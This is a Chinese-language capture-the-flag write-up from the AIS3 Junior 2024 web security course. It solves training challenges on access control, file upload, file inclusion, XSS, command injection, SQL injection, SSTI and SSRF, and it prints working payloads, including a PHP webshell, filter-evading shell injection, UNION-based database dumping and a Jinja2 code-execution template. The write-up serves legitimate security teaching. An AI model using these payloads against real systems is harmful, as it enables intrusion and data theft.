# AIS3 junior 2024 網頁安全
y1w3n
> 網頁安全
> 日期 8/16
> 講師: 徐牧遠 Red
# 01 - Broken Access Control
## BAC01
### 題目說明

進去之後長這樣:

### <font color="#F7A004">solve</font>
用admin進去,發現它把我們視為一般使用者```/user```

因為發現URL的地方還是user,所以==改成admin==得到答案

### answer
:::warning
AIS3_Junior{FirstBROKENAccessControl;)}
:::
### note
* 讓網頁未成功執行身份驗證機制
---
## BAC02
### 題目說明

進去之後長這樣:

發現Product那邊現可以購買東西

### <font color="#F7A004">solve</font>
把每個都點進去看,去觀察URL那邊的ID
:::spoiler 圖片
||因為會洗版所以藏起來||

1

2

3

5

6
:::
就會發現==沒有4==
推測可能藏FLAG,去看看

現在可以用0元買FLAG
### answer

:::warning
AIS3_Junior{BroJustFoundBabyIDORVulnerability}
:::
# 02 - File Upload
## FIL01
### 題目說明

進去之後長這樣:

然後有地方可以上傳檔案

### <font color="#F7A004">solve</font>
* **php webshell**
```php=
<?php system($_GET['cmd']);?>
```
* ```system()``` 是 PHP 中的一個函數,用來執行系統層級的命令。它會將結果輸出給瀏覽器,同時返回命令的最後一行輸出
將含有以上內容的檔案上傳
* ```$_GET['cmd']```是 PHP 的一個全局變量,代表 URL 中的 GET 參數 cmd 的值

看到上傳成功但還是沒有FLAG
但注意到下方有: File upload to ==/uploads/c3644_108.160.138.201.php==
直接去看看ㄅ,會看到這個畫面

在後面加上```/?cmd=id``` id可以替換為Linux的指令,先用ls看看有什麼

發現沒什麼看似FLAG的檔案,那到其他地方看看: ```ls ../```

看到FLAG了,cat 它: ```cat ../FLAG```

### answer
:::warning
AIS3_Junior{FirstWEBSHELLXDDD}
:::
### note
* 透過網頁執行系統命令達成RCE
* 用最基礎的php webshell上傳
* ```/?cmd=id```: 顯示當前用戶的 UID,```cmd```是查詢參數
---
## FIL02
### 題目說明

進去之後長跟上一題一樣,但加了一些限制,然後被擋掉了

#### <font color="#F7A004">solve</font>
打開Burp在上傳之前去攔

然後Content-Type: ```application/x-php```改成 ```image/jpg```後send

就看到回覆了我上傳的地方
跟上一題一樣去看看

### answer
:::warning
AIS3_Junior{BabyUploadBypass}
:::
# 03 - Local File Inclusion
## LFI01
### 題目說明

進去之後長這樣:

嘗試輸入一些東西,結果爆出ERROR
### <font color="#F7A004">solve</font>
```Ctrl+U```看原始碼

進去註解的連結看看

發現沒東西,網路上查到index.php會比較多資訊,所以==把```file=```後面改成index.php==

現在在原始碼的地方成功看到:
**Account**(admin)跟**Password**(CATLOVEBITCOINMEOWMEOW)
回到一開始的URL輸入(http://ctfd-ais3.crazyfirelee.tw:9021/)

### answer
:::warning
AIS3_Junior{php://filter/BabyPHPLFI.b64decode()}
:::
### note
* 因為index.php它有主要資訊架構,通常不會輕易顯示在URL裡
---
## LFI02
### 題目說明


### <font color="#F7A004">solve</font>
上傳檔案後看到下方出現: File upload to /tmp/c3644_108.160.138.201.php

回到上傳檔案的地方
把form=後面改成```../../../../../tmp/c3644_108.160.138.201.php&cmd=ls```

會看到疑似有FLAG的S3Cr3TFLAGGGGG
```
http://ctfd-ais3.crazyfirelee.tw:9022/post.php?form=../../../../../tmp/c3644_108.160.138.201.php&cmd=cat%20S3Cr3TFLAGGGGG
```

### answer
:::warning
AIS3_Junior{../../../../tmp/BADBAD.php?LFI=SUCCESS}
:::
### note
* 使用 ```../```來繞過應用程序的目錄限制
# 04 - Cross-Site Scripting
## XSS01
### 題目說明


### <font color="#F7A004">solve</font>
```<script>alert(FLAG);</script>```

### answer
:::warning
AIS3_Junior{XSSXSSXSSXSS}
:::
### note
[參考](https://tech-blog.cymetrics.io/posts/jo/zerobased-cross-site-scripting/)
* 反射型XSS
* 最常見
* 惡意腳本通過 URL 或表單提交等方式被立即反射到頁面並執行,不會被存
# 05 - Command Injection
## CMD01
### 題目說明


輸入localhost後:

### <font color="#F7A004">solve</font>
在```;```後可以接上cmd的指令

看到裡面有FLAG,輸入```localhost;cat FLAG```,得到答案

### answer
:::warning
AIS3_Junior{BabyCommand;InjectionXDDDddddd}
:::
### note
* localhost(127.0.0.1):通常這個命令會被忽略或者返回錯誤
* 指令串接
* ```; ``` : 結束指令並開始下一個指令
---
## CMD02
### 題目說明

進去之後跟CMD01那題一樣
發現要是跟上一題一樣直接加上指令輸入的話==會被擋住==,因為我們輸入了包含黑名單的內容

### <font color="#F7A004">solve1</font>
```
;ca\t${IFS}FLAG
```

### <font color="#F7A004">solve2</font>
```
;grep${IFS}-r${IFS}AIS3
```

### <font color="#F7A004">solve3</font>
```
11&python${IFS}*
```

### answer
:::warning
AIS3_Junior{niceWordBL$()ACKListEvasion;)}
:::
### note
* ```${IFS}``` : 預設是空白
* ```11&python${IFS}*```: 利用python執行錯誤
* ```11&```: 前面阻斷調讓後面被執行
---
## CMD3 & [Bonus] CMD06
### 題目說明
(這兩題基本上一模一樣所以放在一起)
:::spoiler 題目in CTFd


:::

進去一樣還是PING IP 的畫面,也是一樣有黑名單
### <font color="#F7A004">solve</font>
```
11|ca\t${IFS}FLAG
```
CMD03:
CMD06:
### answer
:::warning
CMD03:
```AIS3_Junior{BashOperato|rEvasion${IFS}SUCC|ESSFUL|:DDDDD}```
CMD06:
```AIS3_Junior{ouo_hihi}```
:::
### note
# 06 - SQL Injection
## SQL01
### 題目說明

進去後是一個登入畫面

### <font color="#F7A004">solve</font>
* Account: ```'OR 1=1-- ```
* Password: ```aaa``` (隨便輸入都可以)

### answer

:::warning
AIS3_Junior{SQL'InjectionXDorD=D_--_-}
:::
### note
* ```'OR 1=1--``` : 因為1=1必定成立且後面註解掉了,所以不管我在Password輸入什麼都不引響
[更多參考](https://tech-blog.cymetrics.io/posts/nick/sqli/)

---
## SQL02
### 題目說明

進去之後看到的是這個介面

### <font color="#F7A004">solve</font>
首先我們先查在這個SQL資料庫中有幾個column,會發現是4個


現在不知道資料庫、table、column那些的名稱所以使用schema
```aaa' UNION SELECT 1 ,group_concat(schema_name) ,3 ,4 FROM information_schema.schemata#```

試出==table_schema='ApexPredators'==
```aaa' UNION SELECT 1 ,group_concat(table_name) ,3 ,4 FROM information_schema.tables WHERE table_schema='ApexPredators'#```

找出==table_name='users'==
```aaa' UNION SELECT 1 ,group_concat(column_name) ,3 ,4 FROM information_schema.columns WHERE table_schema='ApexPredators' and table_name='users'#```

``` aaa' UNION SELECT 1 ,isAdmin ,password ,username FROM ApexPredators.users#```

得到:
* Account: KubenBlisk
* Password: BliskLeader#2024
回到Login頁面登入

### answer

:::warning
AIS3_Junior{_BRO-DO_A--UNION_SELECTXDDD_--_-}
:::
### note
* 透過UNION能夠連接兩個相同column數的SELECT語句
* ```aaa' UNION SELECT 1 ,group_concat(schema_name) ,3 ,4```: 前後的SELECT語句都會執行,會找不到aaa所以是空的,接著後面執行```SELECT 1 ,group_concat(schema_name) ,3 ,4 FROM information_schema.schemata#```
* information_schema.schemata:裡面包含所有資料庫名稱
# 07 - Server-Side Template Injection
## STI01 & STI02
### 題目說明
(方法相同所以寫再一起)


一樣是Who are you然後要我們輸入東西

嘗試用admin沒用

用BAC01的方法```/user```改```/admin```會被說沒權限
### <font color="#F7A004">solve</font>
```
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls').read() }}
```
會看到列出了包含FLAG的目錄內容

回到上一頁,把```ls```換成```cat FLAG```:
```
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat FLAG').read() }}
```

### answer
:::warning
SIT01:
```AIS3_Junior{.__JinjaTWOOOO.___["SSTI"]__.succ3ssXDD.__} ```
SIT02:
```AIS3_Junior{b4by__.filt3rEvasion.__Succ3ss}```
:::
### note
* SSTI Jinja2
* 可能允許攻擊者將payload放進username的參數中:```http://example.com/?username={{7*7}}```這時候一個具有SSTI漏洞的網頁就可能Response Hi 49
* ``{{}}``在Jinja2中作為變數包裹標識符,Jinja2在渲染的時候會把``{{}}``包裹的內容當作變數解析替換。例如``{{7*7}}``會被解析成49
* 證實此網頁含有SSTI漏洞
# 08 - Server-Side Request Forgery
## SRF01
### 題目說明


### <font color="#F7A004">solve</font>
觀察題目,發現它有給Flag Location: /app/FLAG
直接去看看
```
File:///app/FLAG
```
進到下一個頁面,Image顯示不出來,那用```f12```看看


看見一串base64,複製下來去解碼看看

### answer
:::warning
AIS3_Junior{file://SSRF___XDDD}
:::
### note
* SSRF 攻擊發生在應用程序允許用戶指定一個 URL 或資源,並由服務器發送請求以獲取該資源的內容
---
## SRF02
### 題目說明


右上角酷酷ㄉadmin panel 點進去發現出現==LOCAL ACCESS ONLY==

### <font color="#F7A004">solve</font>
根據前面觀察到的內容**LOCAL ACCESS ONLY**推測這題可能是跟localhost的local有關
```
http://localhost/local
```

一樣又看到Image顯示不出來,```ctrl```+```u```去看看

一樣又一串base64,複製下來去解碼看看

### answer
:::warning
AIS3_Junior{http://BROAccessLOCAL}
:::
### note
* ```http://localhost/local``` 是一個指向本地服務器的 URL,通常在開發和測試環境中使用